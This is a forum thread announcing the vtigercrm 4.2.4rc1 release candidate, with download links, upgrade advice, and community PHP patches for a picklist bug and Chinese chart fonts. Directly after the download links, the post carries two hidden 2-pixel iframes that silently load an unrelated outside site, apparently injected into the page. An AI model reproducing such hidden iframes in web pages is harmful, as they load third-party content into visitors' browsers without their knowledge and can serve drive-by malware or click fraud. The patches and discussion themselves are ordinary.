Announce: vtigercrm-4.2.4rc1 Release Candidate available

Hi everyone,

The 4.2.4 release is almost ready, it just needs a bit of testing. The changes can be viewed in the Subversion revision log.
<!-- m --><a class="postlink" href="http://vtiger.fosslabs.com/cgi-bin/trac.cgi/log/vtigercrm/branches/4.2?rev=3935&stop_rev=3603&verbose=on">http://vtiger.fosslabs.com/cgi-bin/trac ... verbose=on</a><!-- m -->

Right now the only database changes between 4.2.3 and 4.2.4 are a few additional indexes to allow several Foreign Keys to insert properly during installation. This will help fix the "partial tables" problem during install.

If you are upgrading, then remove all files from your vtiger install except for config.php and replace it with the files from the new release.

There are three archive formats available: tar.bz2(7.6MB), tar.gz(8.5MB) and zip(11MB)

As with any update, make sure you backup your database before trying this or any update.

<!-- m --><a class="postlink" href="http://vtiger.fosslabs.com/releases/4.2/vtigercrm-4.2.4rc1.tar.bz2">http://vtiger.fosslabs.com/releases/4.2 ... c1.tar.bz2</a><!-- m -->
<!-- m --><a class="postlink" href="http://vtiger.fosslabs.com/releases/4.2/vtigercrm-4.2.4rc1.tar.gz">http://vtiger.fosslabs.com/releases/4.2 ... rc1.tar.gz</a><!-- m -->
<!-- m --><a class="postlink" href="http://vtiger.fosslabs.com/releases/4.2/vtigercrm-4.2.4rc1.zip">http://vtiger.fosslabs.com/releases/4.2 ... 2.4rc1.zip</a><!-- m --> <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;
«1

Comments

  • 13 Comments sorted by Votes Date Added
  • i had no rights to attach file in trac. so i upload the patch here for the ticket:
    <!-- m --><a class="postlink" href="http://vtiger.fosslabs.com/cgi-bin/trac.cgi/ticket/37">http://vtiger.fosslabs.com/cgi-bin/trac.cgi/ticket/37</a><!-- m -->
  • a small bug:
    index&#58; vtiger_crm/modules/settings/combofieldlist&#46;php
    ===================================================================
    --- vtiger_crm/modules/settings/combofieldlist&#46;php	&#40;revision 3937&#41;
    +++ vtiger_crm/modules/settings/combofieldlist&#46;php	&#40;working copy&#41;
    @@ -216,6 +216,7 @@
     
     function getuserfldarray&#40;$fld_module&#41;
     &#123;
    +	global $adb;
     	$user_fld = array&#40;&#41;;
     	$query = &quot;select * from field where generatedtype=2 and tabid=&quot;&#46;fetchtabidval&#40;$fld_module&#41;&#46;&quot; and uitype in &#40;15,16&#41;&quot;;
     //        echo $query;
    
  • a huge thanks to the following:

    mfedyk
    jeffk
    allanbush
    fathi
    mmbrich
    and anyone else that i've missed.

    this is awesome...thanks!!

    brian
  • also, thanks go to briand, mikecrowe, kleo, mickie, mjsdev & jisaitua for patches in this release.
  • a small bug:
    index&#58; vtiger_crm/modules/settings/combofieldlist&#46;php
    ===================================================================
    --- vtiger_crm/modules/settings/combofieldlist&#46;php	&#40;revision 3937&#41;
    +++ vtiger_crm/modules/settings/combofieldlist&#46;php	&#40;working copy&#41;
    @@ -216,6 +216,7 @@
     
     function getuserfldarray&#40;$fld_module&#41;
     &#123;
    +	global $adb;
     	$user_fld = array&#40;&#41;;
     	$query = &quot;select * from field where generatedtype=2 and tabid=&quot;&#46;fetchtabidval&#40;$fld_module&#41;&#46;&quot; and uitype in &#40;15,16&#41;&quot;;
     //        echo $query;
    

    can you give a quick description on how to reproduce the problem this fixes?

    thanks
  • i had no rights to attach file in trac. so i upload the patch here for the ticket:
    <!-- m --><a class="postlink" href="http://vtiger.fosslabs.com/cgi-bin/trac.cgi/ticket/37">http://vtiger.fosslabs.com/cgi-bin/trac.cgi/ticket/37</a><!-- m -->

    thanks for the patch.

    attchments can now be added by anonymous users in the trac ticket system now.
  • a small bug:
    index&#58; vtiger_crm/modules/settings/combofieldlist&#46;php
    ===================================================================
    --- vtiger_crm/modules/settings/combofieldlist&#46;php	&#40;revision 3937&#41;
    +++ vtiger_crm/modules/settings/combofieldlist&#46;php	&#40;working copy&#41;
    @@ -216,6 +216,7 @@
     
     function getuserfldarray&#40;$fld_module&#41;
     &#123;
    +	global $adb;
     	$user_fld = array&#40;&#41;;
     	$query = &quot;select * from field where generatedtype=2 and tabid=&quot;&#46;fetchtabidval&#40;$fld_module&#41;&#46;&quot; and uitype in &#40;15,16&#41;&quot;;
     //        echo $query;
    

    can you give a quick description on how to reproduce the problem this fixes?

    thanks

    settings => picklist settings => anyone below

    error message:
    call to a member function on a non-object in /modules/settings/combofieldlist.php on line 223

    example url:
    index.php?module=settings&action=combofieldlist&fld_module=vendor

    <!-- s:) --><img src="{smilies_path}/icon_smile.gif" alt=":)" title="smile" /><!-- s:) -->
  • i published a traditional chinese version here:
    <!-- m --><a class="postlink" href="http://twpug.net/modules/wfdownloads/singlefile.php?cid=36&lid=616">http://twpug.net/modules/wfdownloads/si ... 36&lid=616</a><!-- m -->

    this version included a free font for traditional chinese and modified some settings for jpgraph to prevent character errors in the charts. it's not great to download it if you don't use this language. ^^
  • i had no rights to attach file in trac. so i upload the patch here for the ticket:
    <!-- m --><a class="postlink" href="http://vtiger.fosslabs.com/cgi-bin/trac.cgi/ticket/37">http://vtiger.fosslabs.com/cgi-bin/trac.cgi/ticket/37</a><!-- m -->

    hi kiang,

    here is your patch with my comments:
    index&#58; vtiger_crm/jpgraph/jpgraph&#46;php
    ===================================================================
    --- vtiger_crm/jpgraph/jpgraph&#46;php	&#40;revision 3937&#41;
    +++ vtiger_crm/jpgraph/jpgraph&#46;php	&#40;working copy&#41;
    @@ -598,11 +598,7 @@
     	    return $this-&gt;g2312-&gt;gb2utf8&#40;$atxt&#41;;
     	&#125;
     	elseif&#40; $aff === ff_chinese &#41; &#123;
    -	    if&#40; !function_exists&#40;'iconv'&#41; &#41; &#123;
    -		jpgrapherror&#58;&#58;raisel&#40;25006&#41;;
    -//&#40;'usage of ff_chinese &#40;ff_big5&#41; font family requires that your php setup has the iconv&#40;&#41; function&#46; by default this is not compiled into php &#40;needs the &quot;--width-iconv&quot; when configured&#41;&#46;'&#41;;
    -	    &#125;
    -	    return iconv&#40;'big5','utf-8',$atxt&#41;;
    +	    return $atxt;
     	&#125;
     	else 
     	    return $atxt;
    
    you change the definition of ff_chinese below and then remove warning.

    can you add a difinition for utf8 fonts instead of modifying an entry meant for big5 encoded fonts?
    @@ -3086,7 +3082,7 @@
     	    ff_veramono =&gt; array&#40;fs_normal=&gt;'veramono&#46;ttf', fs_bold=&gt;'veramobd&#46;ttf', fs_italic=&gt;'veramoit&#46;ttf', fs_bolditalic=&gt;'veramobi&#46;ttf' &#41;,
     	    ff_veraserif =&gt; array&#40;fs_normal=&gt;'verase&#46;ttf', fs_bold=&gt;'verasebd&#46;ttf', fs_italic=&gt;'', fs_bolditalic=&gt;'' &#41; ,
     	    ff_simsun =&gt;  array&#40;fs_normal=&gt;'simsun&#46;ttc',  fs_bold=&gt;'simhei&#46;ttf',   fs_italic=&gt;'',   fs_bolditalic=&gt;'' &#41;,
    -	    ff_chinese =&gt; array&#40;fs_normal=&gt;chinese_ttf_font, fs_bold=&gt;'', fs_italic=&gt;'', fs_bolditalic=&gt;'' &#41;,
    +	    ff_chinese =&gt; array&#40;fs_normal=&gt;chinese_ttf_font, fs_bold=&gt;chinese_ttf_font, fs_italic=&gt;chinese_ttf_font, fs_bolditalic=&gt;chinese_ttf_font &#41;,
      	    ff_mincho =&gt;  array&#40;fs_normal=&gt;mincho_ttf_font,  fs_bold=&gt;'',   fs_italic=&gt;'',   fs_bolditalic=&gt;'' &#41;,
      	    ff_pmincho =&gt; array&#40;fs_normal=&gt;pmincho_ttf_font,  fs_bold=&gt;'',   fs_italic=&gt;'',   fs_bolditalic=&gt;'' &#41;,    
      	    ff_gothic  =&gt; array&#40;fs_normal=&gt;gothic_ttf_font,  fs_bold=&gt;'',   fs_italic=&gt;'',   fs_bolditalic=&gt;'' &#41;,    
    index&#58; vtiger_crm/modules/potentials/charts&#46;php
    ===================================================================
    --- vtiger_crm/modules/potentials/charts&#46;php	&#40;revision 3937&#41;
    +++ vtiger_crm/modules/potentials/charts&#46;php	&#40;working copy&#41;
    @@ -50,13 +50,8 @@
     	&#123;
     		case 'cn_zh'&#58;
     			return ff_simsun;
    -		case 'tw_zh'&#58;
    -			if&#40;!function_exists&#40;'iconv'&#41;&#41;&#123;
    -				echo &quot; unable to display traditional chinese on the graphs&#46;&lt;br&gt;the function iconv does not exists please read more about &lt;a href='http&#58;//us4&#46;php&#46;net/iconv'&gt;iconv here&lt;/a&gt;&lt;br&gt;&quot;;
    -				return ff_font1;
    -
    -			&#125;
    -			else return ff_chinese;
    +		case 'zh-tw'&#58;
    +			return ff_chinese;
     		default&#58;
     			return ff_font1;
     	&#125;
    
    what happened to 'tw_zh' here?
  • sorry for misunderstanding. ^^||

    about the second problem. 'tw_zh' is no longer exists(and i have no idea why it's there). i used 'zh-tw' because most browser accept it by default.

    i'll make a patch for first problem latter with the ticket. <!-- s:) --><img src="{smilies_path}/icon_smile.gif" alt=":)" title="smile" /><!-- s:) -->
Sign In or Register to comment.